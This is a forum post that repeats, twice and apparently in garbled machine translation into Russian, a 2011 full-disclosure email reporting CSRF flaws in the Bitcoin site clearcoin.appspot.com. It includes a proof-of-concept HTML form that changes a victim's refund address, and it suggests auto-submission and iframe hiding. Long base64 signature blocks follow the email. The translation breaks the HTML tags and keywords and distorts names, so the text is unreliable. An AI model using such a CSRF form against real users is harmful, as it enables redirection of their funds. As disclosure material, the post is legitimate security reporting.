Код:
От: Дуг Huff
Content-Type: многочастному / подпись; протокол ="Приложение / ПФГ подпись";
micalg = SHA1-PGP; граничные ="Яблочно-Mail-2--499212877"
X-Smtp-сервер: smtp.gmail.com:mith@jrbobdobbs.org
Тема: Bitcoin день веселья!
Дата: Вс, 19 июня 2011 16:54:28 -0500
X-Универсально-Уникальный идентификатор: 52968483-4027-4d0b-9145-dc72230ee50c
Message-Id: <2B2201C1-E59F-47D4-BF67-08FDB0DDE386@jrbobdobbs.org>
Cc: Bitcoin Dev
To: full-disclosure@lists.grok.org.uk
Mime-Version: 1.0 (Apple Message рамки v1084)
Content-Transfer-Encoding: 7bit
X-Pgp-Agent: GPGMail 1.3.3
Это OpenPGP / MIME подписано сообщение об (RFC 2440 и 3156)
--Яблочно-Mail-2--499212877
Content-Type: многочастному / подпись; граница = Яблочно-Mail-1--499212884; протокол ="Применение / pkcs7 подписи"; micalg = SHA1
--Яблочно-Mail-1--499212884
Content-Transfer-Encoding: кавычко для печати
Content-Type: Текст / равнина;
Charset = US-ASCII
В свете последних событий в "Bitcoin сообщество" Я решил, что =
частное раскрытие вопросов не делает ничего, но делает их более =
превалирует.
В свете этого решения я хотел бы сообщить несколько CSRF =
уязвимости в http://clearcoin.appspot.com.
Этот набор CSRFs особенно противный, так как это размещается на appspot =
и использует учетную запись Google авторизацию. До тех пор, пока вы остаетесь вошли в ваши =
Google счета вы уязвимы для этого CSRF.
Вещи испытания:
Изменение возврата адреса.
Высвобождение средств.
POC код (открыть это в любом браузере даже из локального файла):
= 3D = 3D = 3D = 3D = 3D = 3D = 3D = 3D = 3D = 3D
<глава><заглавие>контрольная работазаглавие>глава>
<тело>
<Форма ID = 3D"refund_address_form" знак равно
действие = 3D"https://clearcoin.appspot.com/set_refund_address" знак равно
Метод = 3D"ПОСЛЕ">= 20
<этикетки для = 3D"refund_address">Ваш Bitcoin адрес:метка>= 20
<тип входного = 3D"текст" имя = 3D"refund_address" ID = 3D"refund_address" знак равно
Размер = 3D"60" значение = 3D"PUT ЛЮБОЙ АДРЕС"
класс = 3D"Текст UI-виджет-контента UI-краеугольный все" автофокусировка =
требуется заполнитель = 3D"возврат Bitcoin адрес"/> (обязательный)
форма>= 20
тело>
html>
= 3D = 3D = 3D = 3D = 3D = 3D = 3D = 3D = 3D = 3D
Javascript авто представленню, прячась в IFRAME и другие запутывания =
методы в качестве упражнения в списке.
Этот сайт управляется и поддерживается Gavin Anderson, он же, ведущий Bitcoin =
сопровождающий.
Вы должны знать лучше Гэвина.
--= 20
Дуглас Huff
--Яблочно-Mail-1--499212884
Content-Disposition: вложение;
имя файла = smime.p7s
Content-Type: применение / pkcs7 подписи;
имя = smime.p7s
Content-Transfer-Encoding: base64
MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIIKXDCCBN0w
ggPFoAMCAQICEHGS ++ YZX6xNEoV0cTSiGKcwDQYJKoZIhvcNAQEFBQAwezELMAkGA1UEBhMCR0Ix
GzAZBgNVBAgMEkdyZWF0ZXIgTWFuY2hlc3RlcjEQMA4GA1UEBwwHU2FsZm9yZDEaMBgGA1UECgwR
Q29tb2RvIENBIExpbWl0ZWQxITAfBgNVBAMMGEFBQSBDZXJ0aWZpY2F0ZSBTZXJ2aWNlczAeFw0w
NDAxMDEwMDAwMDBaFw0yODEyMzEyMzU5NTlaMIGuMQswCQYDVQQGEwJVUzELMAkGA1UECBMCVVQx
FzAVBgNVBAcTDlNhbHQgTGFrZSBDaXR5MR4wHAYDVQQKExVUaGUgVVNFUlRSVVNUIE5ldHdvcmsx
ITAfBgNVBAsTGGh0dHA6Ly93d3cudXNlcnRydXN0LmNvbTE2MDQGA1UEAxMtVVROLVVTRVJGaXJz
dC1DbGllbnQgQXV0aGVudGljYXRpb24gYW5kIEVtYWlsMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A
MIIBCgKCAQEAsjmFpPJ9q0E7YkY3rs3BYHW8OWX5ShpHornMSMxqmNVNNRm5pELlzkniii8efNIx
B8dOtINknS4p1aJkxIW9hVE1eaROaJB7HHqkkqgX8pgV8pPMyaQylbsMTzC9mKALi + VuG6JG + NI8
ом + rWV6lL8 / K2m2qL + usobNqqrcuZzWLeeEeaYji5kbNoKXqvgvOdjp6Dpvq / NonWz1zHyLmSGHG
TPNpsaguG7bUMSAsvIKKjqQOpdeJQ / wWWq8dcdcRWdq6hw2v + vPhwvCkxWeM1tZUOt4KpLoDd7Nl
yP0e03RiqhjKaJMeoYV + 9Udly / hNVyh00jT / MLbu9mIwFIws6wIDAQABo4IBJzCCASMwHwYDVR0j
BBgwFoAUoBEKIz6W8Qfs4q8p74Klf9AwpLQwHQYDVR0OBBYEFImCZ33EnSZwAEu0UEh83j2uBG59
MA4GA1UdDwEB / wQEAwIBBjAPBgNVHRMBAf8EBTADAQH / MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggr
BgEFBQcDBDARBgNVHSAECjAIMAYGBFUdIAAwewYDVR0fBHQwcjA4oDagNIYyaHR0cDovL2NybC5j
b21vZG9jYS5jb20vQUFBQ2VydGlmaWNhdGVTZXJ2aWNlcy5jcmwwNqA0oDKGMGh0dHA6Ly9jcmwu
Y29tb2RvLm5ldC9BQUFDZXJ0aWZpY2F0ZVNlcnZpY2VzLmNybDARBglghkgBhvhCAQEEBAMCAQYw
DQYJKoZIhvcNAQEFBQADggEBAJ2Vyzy4fqUJxB6 / C8LHdo45PJTGEKpPDMngq4RdiVTgZTvzbRx8
NywlVF + WIfw3hJGdFdwUT4HPVB1rbEVgxy35l1FM + WbKPKCCjKbI8OLp1Er57D9Wyd12jMOCAU9s
APMeGmF0BEcDqcZAV5G8ZSLFJ2dPV9tkWtmNH7qGL / QGrpxp7en0zykX2OBKnxogL5dMUbtGB8SK
N04g4wkxaMeexIud6H4RvDJoEJYRmETYKlFgTYjrdDrfQwYyyDlWjDoRUtNBpEMD9O3vMyfbOeAU
TibJ2PU54om4k123KSZB6rObroP8d3XK6Mq1 / uJlSmM + RMTQw16Hc6mYHK9 / FX8wggV3MIIEX6AD
AgECAhEA3puo39RJhNVx / ssfdXafbjANBgkqhkiG9w0BAQUFADCBrjELMAkGA1UEBhMCVVMxCzAJ
BgNVBAgTAlVUMRcwFQYDVQQHEw5TYWx0IExha2UgQ2l0eTEeMBwGA1UEChMVVGhlIFVTRVJUUlVT
VCBOZXR3b3JrMSEwHwYDVQQLExhodHRwOi8vd3d3LnVzZXJ0cnVzdC5jb20xNjA0BgNVBAMTLVVU
Ti1VU0VSRmlyc3QtQ2xpZW50IEF1dGhlbnRpY2F0aW9uIGFuZCBFbWFpbDAeFw0xMTA1MDEwMDAw
MDBaFw0xMjA0MzAyMzU5NTlaMCUxIzAhBgkqhkiG9w0BCQEWFGRodWZmQGpyYm9iZG9iYnMub3Jn
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA3ZPhVmPPoaj999EiZAp6e / giHUrh0Pq2
/ LjCFtVgP7clqtoStYyz7i9LojgmRqKu6cswpltUICp + rRskK6ISYRYkNf9w587D2xtqHVVjmoH8
AFW / B0db4v + wC7wjzh + hFlXZ3q7sZApMqsFgAS3mdF + iEe5nNt9kGD7OhNlVimvNqcpIhJhRBhpW
7vi7 / Rt8uVciDOYVARJq7Tb1zZe88wTFkVri075 / nFYfikCgU3GccxvcnR9QwC7xoyGFtE / z8qjv
1h1Tn + eS7eEYQveQxMFNnEPHfoihpiSQpQUzEAJK96dwj8ED2CXtNpV6pQ9PCu2HWjXIVpZj + YNN
eOSRbwIDAQABo4ICFjCCAhIwHwYDVR0jBBgwFoAUiYJnfcSdJnAAS7RQSHzePa4Ebn0wHQYDVR0O
BBYEFGBmA3ruGdgBmCodBzi9QrRBvjz / MA4GA1UdDwEB / wQEAwIFoDAMBgNVHRMBAf8EAjAAMCAG
A1UdJQQZMBcGCCsGAQUFBwMEBgsrBgEEAbIxAQMFAjARBglghkgBhvhCAQEEBAMCBSAwRgYDVR0g
BD8wPTA7BgwrBgEEAbIxAQIBAQEwKzApBggrBgEFBQcCARYdaHR0cHM6Ly9zZWN1cmUuY29tb2Rv
Lm5ldC9DUFMwgaUGA1UdHwSBnTCBmjBMoEqgSIZGaHR0cDovL2NybC5jb21vZG9jYS5jb20vVVRO
LVVTRVJGaXJzdC1DbGllbnRBdXRoZW50aWNhdGlvbmFuZEVtYWlsLmNybDBKoEigRoZEaHR0cDov
L2NybC5jb21vZG8ubmV0L1VUTi1VU0VSRmlyc3QtQ2xpZW50QXV0aGVudGljYXRpb25hbmRFbWFp
bC5jcmwwbAYIKwYBBQUHAQEEYDBeMDYGCCsGAQUFBzAChipodHRwOi8vY3J0LmNvbW9kb2NhLmNv
bS9VVE5BQUFDbGllbnRDQS5jcnQwJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmNvbW9kb2NhLmNv
bTAfBgNVHREEGDAWgRRkaHVmZkBqcmJvYmRvYmJzLm9yZzANBgkqhkiG9w0BAQUFAAOCAQEAj / Ск
hfsc3p7aoCSIMGOTVBzBjJBtCwWTUF1d / pnJ7ynWCiEOypIGGe0im5 + Y1WH8 + fVNgIwlifRSoZ1R
oloxXRuqiraKCevG5OC41Evkp67HmrrhlerLxUvoKLg7sDWfYtmQ24whfYEsd3Fm2u6KxoXboyyb
fdDhl5BLhWy + 5kHHlIaoZjUoHHXOMuOZdhreIcJI54 + wehddzwtdrhF0h2KUTm3tvA0e2kTX4Kzz
3JWIzFSsCmTdTx2UdiOBJmWZ8dgdskOSKRYByvSBT + / BsbF + JbJcjCHqDiEmmXQeTNuRDYeCPfkq
/ HRSrEZMi / RORls1HSA79IOXjvj8RkAKyDGCA / 8wggP7AgEBMIHEMIGuMQswCQYDVQQGEwJVUzEL
MAkGA1UECBMCVVQxFzAVBgNVBAcTDlNhbHQgTGFrZSBDaXR5MR4wHAYDVQQKExVUaGUgVVNFUlRS
VVNUIE5ldHdvcmsxITAfBgNVBAsTGGh0dHA6Ly93d3cudXNlcnRydXN0LmNvbTE2MDQGA1UEAxMt
VVROLVVTRVJGaXJzdC1DbGllbnQgQXV0aGVudGljYXRpb24gYW5kIEVtYWlsAhEA3puo39RJhNVx
/ ssfdXafbjAJBgUrDgMCGgUAoIICDzAYBgkqhkiG9w0BCQMxCwYJKoZIhvcNAQcBMBwGCSqGSIb3
DQEJBTEPFw0xMTA2MTkyMTU0MjlaMCMGCSqGSIb3DQEJBDEWBBRTgeJlgs0yICFYnbqMVlsvFVdx
jTCB1QYJKwYBBAGCNxAEMYHHMIHEMIGuMQswCQYDVQQGEwJVUzELMAkGA1UECBMCVVQxFzAVBgNV
BAcTDlNhbHQgTGFrZSBDaXR5MR4wHAYDVQQKExVUaGUgVVNFUlRSVVNUIE5ldHdvcmsxITAfBgNV
BAsTGGh0dHA6Ly93d3cudXNlcnRydXN0LmNvbTE2MDQGA1UEAxMtVVROLVVTRVJGaXJzdC1DbGll
bnQgQXV0aGVudGljYXRpb24gYW5kIEVtYWlsAhEA3puo39RJhNVx / ssfdXafbjCB1wYLKoZIhvcN
AQkQAgsxgceggcQwga4xCzAJBgNVBAYTAlVTMQswCQYDVQQIEwJVVDEXMBUGA1UEBxMOU2FsdCBM
YWtlIENpdHkxHjAcBgNVBAoTFVRoZSBVU0VSVFJVU1QgTmV0d29yazEhMB8GA1UECxMYaHR0cDov
L3d3dy51c2VydHJ1c3QuY29tMTYwNAYDVQQDEy1VVE4tVVNFUkZpcnN0LUNsaWVudCBBdXRoZW50
aWNhdGlvbiBhbmQgRW1haWwCEQDem6jf1EmE1XH + yx91dp9uMA0GCSqGSIb3DQEBAQUABIIBAIa0
nEwugdoy0co / xZSmSF2FL3Q2I1QjrcwOP2svW7D6yUXl2e9xZdvxPehdGg51UJGtGDDzc5vnT5DW
HWpskxWyBbwYHEM4g + Tuix0pCey7twTJ51tv4uCZljUzfNc1IrctezhdNmFJQfKIrN + Yq6b81Qnt
zmK0pq + в + WVMBez9CnojZaijViQD8agyCWouZhQRPwFE7iTaARwtcuoHpN34TqvNfGpeSOAwi13
6LpFDlN9zzyVeRLgwqbiRQnd2KCzv7yWI + OlzK4bgVB5TPclErhTUvb + rAtAlZM7cDf5uFzsMk1d
/ Ui76BOfwXTFRAZsmyKQRjz6NeTNKuOuNtkAAAAAAAA =
--Яблочно-Mail-1--499212884--
--Яблочно-Mail-2--499212877
тип содержимого: приложения / PGP-подпись; х-MAC-тип = 70674453;
имя = PGP.sig
Содержание-Описание: Это цифровая подпись часть сообщения
контентный распоряжение: встроенный; имя файла = PGP.sig
Content-Transfer-Encoding: 7bit
-----НАЧАТЬ PGP SIGNATURE -----
Версия: GnuPG / MacGPG2 v2.0.17 (Darwin)
Комментарий: GPGTools - http://gpgtools.org
iQIcBAEBAgAGBQJN / nAVAAoJEEPHkQabDWHPBRUP / RqNgPYEjbzKLNOktnBr1Ec0
VC1k + z6dFoX8FiH4lciF + CFBPHuQ6fsbR9tbVLFVSWmym1F33KVy / 7dzsIWbCfGf
Q255aHrFQsVFPejxmgzRRLhZ8D19vxp3l69ALMe3QKhVdfdfjykVZwnoeeUx7GnJ
kcrcM9VWISp + Lr9Yc / HgsnerDPomAYEmiH4ur / CS6vC2PKayVoAbwh4Cr + 5UyBUP
/ AdYXCRhF1Mci0K3mg3boG8FQkGn + zJJ7s3TB2FMZvK43lSzS1 + f2GTfbBZRPVbq
1hyijFZJx / 4P4fX6kOICudU / 5 / 8i9X0qgRoqenXf7kJVH4 + e29JCXJNOMXMMrMZN
au3H6mq6KvmZKMnxZIs4e8G1NIWzO6oOQD7BhUE8A11IlaiNiUYvT + Z1PrV3lfwP
PgSUnQo3FmH4dPT + fNydQusN / sLMKdrCzRLUAj6o0ZlAu2nvzHU + spDmDluzwdNo
QW7BNdgcpEUVozgFx / gxi0eXUjOfxS120uyCwLbEFWbUqwmmpxMlACpliOU439P3
p4uXpISVIOLmRY2pL2mFx9PEzAc5z4Q4 + G + HTZtp9cy5fJ7htZSKItuSbciLNlcS
htX8F / г + Ap0W9Lnd + nnVXxZ8YxOufBvfptU9TSIaVq7uhIphluFiF + nMwqjg4PWE
BNbnmnNAmUKC7 + bLjSzx
= e0ef
-----END PGP SIGNATURE -----
Content-Type: многочастному / подпись; протокол ="Приложение / ПФГ подпись";
micalg = SHA1-PGP; граничные ="Яблочно-Mail-2--499212877"
X-Smtp-сервер: smtp.gmail.com:mith@jrbobdobbs.org
Тема: Bitcoin день веселья!
Дата: Вс, 19 июня 2011 16:54:28 -0500
X-Универсально-Уникальный идентификатор: 52968483-4027-4d0b-9145-dc72230ee50c
Message-Id: <2B2201C1-E59F-47D4-BF67-08FDB0DDE386@jrbobdobbs.org>
Cc: Bitcoin Dev
To: full-disclosure@lists.grok.org.uk
Mime-Version: 1.0 (Apple Message рамки v1084)
Content-Transfer-Encoding: 7bit
X-Pgp-Agent: GPGMail 1.3.3
Это OpenPGP / MIME подписано сообщение об (RFC 2440 и 3156)
--Яблочно-Mail-2--499212877
Content-Type: многочастному / подпись; граница = Яблочно-Mail-1--499212884; протокол ="Применение / pkcs7 подписи"; micalg = SHA1
--Яблочно-Mail-1--499212884
Content-Transfer-Encoding: кавычко для печати
Content-Type: Текст / равнина;
Charset = US-ASCII
В свете последних событий в "Bitcoin сообщество" Я решил, что =
частное раскрытие вопросов не делает ничего, но делает их более =
превалирует.
В свете этого решения я хотел бы сообщить несколько CSRF =
уязвимости в http://clearcoin.appspot.com.
Этот набор CSRFs особенно противный, так как это размещается на appspot =
и использует учетную запись Google авторизацию. До тех пор, пока вы остаетесь вошли в ваши =
Google счета вы уязвимы для этого CSRF.
Вещи испытания:
Изменение возврата адреса.
Высвобождение средств.
POC код (открыть это в любом браузере даже из локального файла):
= 3D = 3D = 3D = 3D = 3D = 3D = 3D = 3D = 3D = 3D
<глава><заглавие>контрольная работазаглавие>глава>
<тело>
<Форма ID = 3D"refund_address_form" знак равно
действие = 3D"https://clearcoin.appspot.com/set_refund_address" знак равно
Метод = 3D"ПОСЛЕ">= 20
<этикетки для = 3D"refund_address">Ваш Bitcoin адрес:метка>= 20
<тип входного = 3D"текст" имя = 3D"refund_address" ID = 3D"refund_address" знак равно
Размер = 3D"60" значение = 3D"PUT ЛЮБОЙ АДРЕС"
класс = 3D"Текст UI-виджет-контента UI-краеугольный все" автофокусировка =
требуется заполнитель = 3D"возврат Bitcoin адрес"/> (обязательный)
форма>= 20
тело>
html>
= 3D = 3D = 3D = 3D = 3D = 3D = 3D = 3D = 3D = 3D
Javascript авто представленню, прячась в IFRAME и другие запутывания =
методы в качестве упражнения в списке.
Этот сайт управляется и поддерживается Gavin Anderson, он же, ведущий Bitcoin =
сопровождающий.
Вы должны знать лучше Гэвина.
--= 20
Дуглас Huff
--Яблочно-Mail-1--499212884
Content-Disposition: вложение;
имя файла = smime.p7s
Content-Type: применение / pkcs7 подписи;
имя = smime.p7s
Content-Transfer-Encoding: base64
MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIIKXDCCBN0w
ggPFoAMCAQICEHGS ++ YZX6xNEoV0cTSiGKcwDQYJKoZIhvcNAQEFBQAwezELMAkGA1UEBhMCR0Ix
GzAZBgNVBAgMEkdyZWF0ZXIgTWFuY2hlc3RlcjEQMA4GA1UEBwwHU2FsZm9yZDEaMBgGA1UECgwR
Q29tb2RvIENBIExpbWl0ZWQxITAfBgNVBAMMGEFBQSBDZXJ0aWZpY2F0ZSBTZXJ2aWNlczAeFw0w
NDAxMDEwMDAwMDBaFw0yODEyMzEyMzU5NTlaMIGuMQswCQYDVQQGEwJVUzELMAkGA1UECBMCVVQx
FzAVBgNVBAcTDlNhbHQgTGFrZSBDaXR5MR4wHAYDVQQKExVUaGUgVVNFUlRSVVNUIE5ldHdvcmsx
ITAfBgNVBAsTGGh0dHA6Ly93d3cudXNlcnRydXN0LmNvbTE2MDQGA1UEAxMtVVROLVVTRVJGaXJz
dC1DbGllbnQgQXV0aGVudGljYXRpb24gYW5kIEVtYWlsMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A
MIIBCgKCAQEAsjmFpPJ9q0E7YkY3rs3BYHW8OWX5ShpHornMSMxqmNVNNRm5pELlzkniii8efNIx
B8dOtINknS4p1aJkxIW9hVE1eaROaJB7HHqkkqgX8pgV8pPMyaQylbsMTzC9mKALi + VuG6JG + NI8
ом + rWV6lL8 / K2m2qL + usobNqqrcuZzWLeeEeaYji5kbNoKXqvgvOdjp6Dpvq / NonWz1zHyLmSGHG
TPNpsaguG7bUMSAsvIKKjqQOpdeJQ / wWWq8dcdcRWdq6hw2v + vPhwvCkxWeM1tZUOt4KpLoDd7Nl
yP0e03RiqhjKaJMeoYV + 9Udly / hNVyh00jT / MLbu9mIwFIws6wIDAQABo4IBJzCCASMwHwYDVR0j
BBgwFoAUoBEKIz6W8Qfs4q8p74Klf9AwpLQwHQYDVR0OBBYEFImCZ33EnSZwAEu0UEh83j2uBG59
MA4GA1UdDwEB / wQEAwIBBjAPBgNVHRMBAf8EBTADAQH / MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggr
BgEFBQcDBDARBgNVHSAECjAIMAYGBFUdIAAwewYDVR0fBHQwcjA4oDagNIYyaHR0cDovL2NybC5j
b21vZG9jYS5jb20vQUFBQ2VydGlmaWNhdGVTZXJ2aWNlcy5jcmwwNqA0oDKGMGh0dHA6Ly9jcmwu
Y29tb2RvLm5ldC9BQUFDZXJ0aWZpY2F0ZVNlcnZpY2VzLmNybDARBglghkgBhvhCAQEEBAMCAQYw
DQYJKoZIhvcNAQEFBQADggEBAJ2Vyzy4fqUJxB6 / C8LHdo45PJTGEKpPDMngq4RdiVTgZTvzbRx8
NywlVF + WIfw3hJGdFdwUT4HPVB1rbEVgxy35l1FM + WbKPKCCjKbI8OLp1Er57D9Wyd12jMOCAU9s
APMeGmF0BEcDqcZAV5G8ZSLFJ2dPV9tkWtmNH7qGL / QGrpxp7en0zykX2OBKnxogL5dMUbtGB8SK
N04g4wkxaMeexIud6H4RvDJoEJYRmETYKlFgTYjrdDrfQwYyyDlWjDoRUtNBpEMD9O3vMyfbOeAU
TibJ2PU54om4k123KSZB6rObroP8d3XK6Mq1 / uJlSmM + RMTQw16Hc6mYHK9 / FX8wggV3MIIEX6AD
AgECAhEA3puo39RJhNVx / ssfdXafbjANBgkqhkiG9w0BAQUFADCBrjELMAkGA1UEBhMCVVMxCzAJ
BgNVBAgTAlVUMRcwFQYDVQQHEw5TYWx0IExha2UgQ2l0eTEeMBwGA1UEChMVVGhlIFVTRVJUUlVT
VCBOZXR3b3JrMSEwHwYDVQQLExhodHRwOi8vd3d3LnVzZXJ0cnVzdC5jb20xNjA0BgNVBAMTLVVU
Ti1VU0VSRmlyc3QtQ2xpZW50IEF1dGhlbnRpY2F0aW9uIGFuZCBFbWFpbDAeFw0xMTA1MDEwMDAw
MDBaFw0xMjA0MzAyMzU5NTlaMCUxIzAhBgkqhkiG9w0BCQEWFGRodWZmQGpyYm9iZG9iYnMub3Jn
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA3ZPhVmPPoaj999EiZAp6e / giHUrh0Pq2
/ LjCFtVgP7clqtoStYyz7i9LojgmRqKu6cswpltUICp + rRskK6ISYRYkNf9w587D2xtqHVVjmoH8
AFW / B0db4v + wC7wjzh + hFlXZ3q7sZApMqsFgAS3mdF + iEe5nNt9kGD7OhNlVimvNqcpIhJhRBhpW
7vi7 / Rt8uVciDOYVARJq7Tb1zZe88wTFkVri075 / nFYfikCgU3GccxvcnR9QwC7xoyGFtE / z8qjv
1h1Tn + eS7eEYQveQxMFNnEPHfoihpiSQpQUzEAJK96dwj8ED2CXtNpV6pQ9PCu2HWjXIVpZj + YNN
eOSRbwIDAQABo4ICFjCCAhIwHwYDVR0jBBgwFoAUiYJnfcSdJnAAS7RQSHzePa4Ebn0wHQYDVR0O
BBYEFGBmA3ruGdgBmCodBzi9QrRBvjz / MA4GA1UdDwEB / wQEAwIFoDAMBgNVHRMBAf8EAjAAMCAG
A1UdJQQZMBcGCCsGAQUFBwMEBgsrBgEEAbIxAQMFAjARBglghkgBhvhCAQEEBAMCBSAwRgYDVR0g
BD8wPTA7BgwrBgEEAbIxAQIBAQEwKzApBggrBgEFBQcCARYdaHR0cHM6Ly9zZWN1cmUuY29tb2Rv
Lm5ldC9DUFMwgaUGA1UdHwSBnTCBmjBMoEqgSIZGaHR0cDovL2NybC5jb21vZG9jYS5jb20vVVRO
LVVTRVJGaXJzdC1DbGllbnRBdXRoZW50aWNhdGlvbmFuZEVtYWlsLmNybDBKoEigRoZEaHR0cDov
L2NybC5jb21vZG8ubmV0L1VUTi1VU0VSRmlyc3QtQ2xpZW50QXV0aGVudGljYXRpb25hbmRFbWFp
bC5jcmwwbAYIKwYBBQUHAQEEYDBeMDYGCCsGAQUFBzAChipodHRwOi8vY3J0LmNvbW9kb2NhLmNv
bS9VVE5BQUFDbGllbnRDQS5jcnQwJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmNvbW9kb2NhLmNv
bTAfBgNVHREEGDAWgRRkaHVmZkBqcmJvYmRvYmJzLm9yZzANBgkqhkiG9w0BAQUFAAOCAQEAj / Ск
hfsc3p7aoCSIMGOTVBzBjJBtCwWTUF1d / pnJ7ynWCiEOypIGGe0im5 + Y1WH8 + fVNgIwlifRSoZ1R
oloxXRuqiraKCevG5OC41Evkp67HmrrhlerLxUvoKLg7sDWfYtmQ24whfYEsd3Fm2u6KxoXboyyb
fdDhl5BLhWy + 5kHHlIaoZjUoHHXOMuOZdhreIcJI54 + wehddzwtdrhF0h2KUTm3tvA0e2kTX4Kzz
3JWIzFSsCmTdTx2UdiOBJmWZ8dgdskOSKRYByvSBT + / BsbF + JbJcjCHqDiEmmXQeTNuRDYeCPfkq
/ HRSrEZMi / RORls1HSA79IOXjvj8RkAKyDGCA / 8wggP7AgEBMIHEMIGuMQswCQYDVQQGEwJVUzEL
MAkGA1UECBMCVVQxFzAVBgNVBAcTDlNhbHQgTGFrZSBDaXR5MR4wHAYDVQQKExVUaGUgVVNFUlRS
VVNUIE5ldHdvcmsxITAfBgNVBAsTGGh0dHA6Ly93d3cudXNlcnRydXN0LmNvbTE2MDQGA1UEAxMt
VVROLVVTRVJGaXJzdC1DbGllbnQgQXV0aGVudGljYXRpb24gYW5kIEVtYWlsAhEA3puo39RJhNVx
/ ssfdXafbjAJBgUrDgMCGgUAoIICDzAYBgkqhkiG9w0BCQMxCwYJKoZIhvcNAQcBMBwGCSqGSIb3
DQEJBTEPFw0xMTA2MTkyMTU0MjlaMCMGCSqGSIb3DQEJBDEWBBRTgeJlgs0yICFYnbqMVlsvFVdx
jTCB1QYJKwYBBAGCNxAEMYHHMIHEMIGuMQswCQYDVQQGEwJVUzELMAkGA1UECBMCVVQxFzAVBgNV
BAcTDlNhbHQgTGFrZSBDaXR5MR4wHAYDVQQKExVUaGUgVVNFUlRSVVNUIE5ldHdvcmsxITAfBgNV
BAsTGGh0dHA6Ly93d3cudXNlcnRydXN0LmNvbTE2MDQGA1UEAxMtVVROLVVTRVJGaXJzdC1DbGll
bnQgQXV0aGVudGljYXRpb24gYW5kIEVtYWlsAhEA3puo39RJhNVx / ssfdXafbjCB1wYLKoZIhvcN
AQkQAgsxgceggcQwga4xCzAJBgNVBAYTAlVTMQswCQYDVQQIEwJVVDEXMBUGA1UEBxMOU2FsdCBM
YWtlIENpdHkxHjAcBgNVBAoTFVRoZSBVU0VSVFJVU1QgTmV0d29yazEhMB8GA1UECxMYaHR0cDov
L3d3dy51c2VydHJ1c3QuY29tMTYwNAYDVQQDEy1VVE4tVVNFUkZpcnN0LUNsaWVudCBBdXRoZW50
aWNhdGlvbiBhbmQgRW1haWwCEQDem6jf1EmE1XH + yx91dp9uMA0GCSqGSIb3DQEBAQUABIIBAIa0
nEwugdoy0co / xZSmSF2FL3Q2I1QjrcwOP2svW7D6yUXl2e9xZdvxPehdGg51UJGtGDDzc5vnT5DW
HWpskxWyBbwYHEM4g + Tuix0pCey7twTJ51tv4uCZljUzfNc1IrctezhdNmFJQfKIrN + Yq6b81Qnt
zmK0pq + в + WVMBez9CnojZaijViQD8agyCWouZhQRPwFE7iTaARwtcuoHpN34TqvNfGpeSOAwi13
6LpFDlN9zzyVeRLgwqbiRQnd2KCzv7yWI + OlzK4bgVB5TPclErhTUvb + rAtAlZM7cDf5uFzsMk1d
/ Ui76BOfwXTFRAZsmyKQRjz6NeTNKuOuNtkAAAAAAAA =
--Яблочно-Mail-1--499212884--
--Яблочно-Mail-2--499212877
тип содержимого: приложения / PGP-подпись; х-MAC-тип = 70674453;
имя = PGP.sig
Содержание-Описание: Это цифровая подпись часть сообщения
контентный распоряжение: встроенный; имя файла = PGP.sig
Content-Transfer-Encoding: 7bit
-----НАЧАТЬ PGP SIGNATURE -----
Версия: GnuPG / MacGPG2 v2.0.17 (Darwin)
Комментарий: GPGTools - http://gpgtools.org
iQIcBAEBAgAGBQJN / nAVAAoJEEPHkQabDWHPBRUP / RqNgPYEjbzKLNOktnBr1Ec0
VC1k + z6dFoX8FiH4lciF + CFBPHuQ6fsbR9tbVLFVSWmym1F33KVy / 7dzsIWbCfGf
Q255aHrFQsVFPejxmgzRRLhZ8D19vxp3l69ALMe3QKhVdfdfjykVZwnoeeUx7GnJ
kcrcM9VWISp + Lr9Yc / HgsnerDPomAYEmiH4ur / CS6vC2PKayVoAbwh4Cr + 5UyBUP
/ AdYXCRhF1Mci0K3mg3boG8FQkGn + zJJ7s3TB2FMZvK43lSzS1 + f2GTfbBZRPVbq
1hyijFZJx / 4P4fX6kOICudU / 5 / 8i9X0qgRoqenXf7kJVH4 + e29JCXJNOMXMMrMZN
au3H6mq6KvmZKMnxZIs4e8G1NIWzO6oOQD7BhUE8A11IlaiNiUYvT + Z1PrV3lfwP
PgSUnQo3FmH4dPT + fNydQusN / sLMKdrCzRLUAj6o0ZlAu2nvzHU + spDmDluzwdNo
QW7BNdgcpEUVozgFx / gxi0eXUjOfxS120uyCwLbEFWbUqwmmpxMlACpliOU439P3
p4uXpISVIOLmRY2pL2mFx9PEzAc5z4Q4 + G + HTZtp9cy5fJ7htZSKItuSbciLNlcS
htX8F / г + Ap0W9Lnd + nnVXxZ8YxOufBvfptU9TSIaVq7uhIphluFiF + nMwqjg4PWE
BNbnmnNAmUKC7 + bLjSzx
= e0ef
-----END PGP SIGNATURE -----
http://sourceforge.net/mailarchive/forum.php?thread_name=2B2201C1-E59F-47D4-BF67-08FDB0DDE386%40jrbobdobbs.org&FORUM_NAME = Bitcoin-разработка
К сожалению Гэвин.
(Gavin уже вытащил clearcoin форума для решения этой проблемы.)
Edit: Добавление F-d ссылки для потомков.
http://lists.grok.org.uk/pipermail/full-disclosure/2011-June/081574.html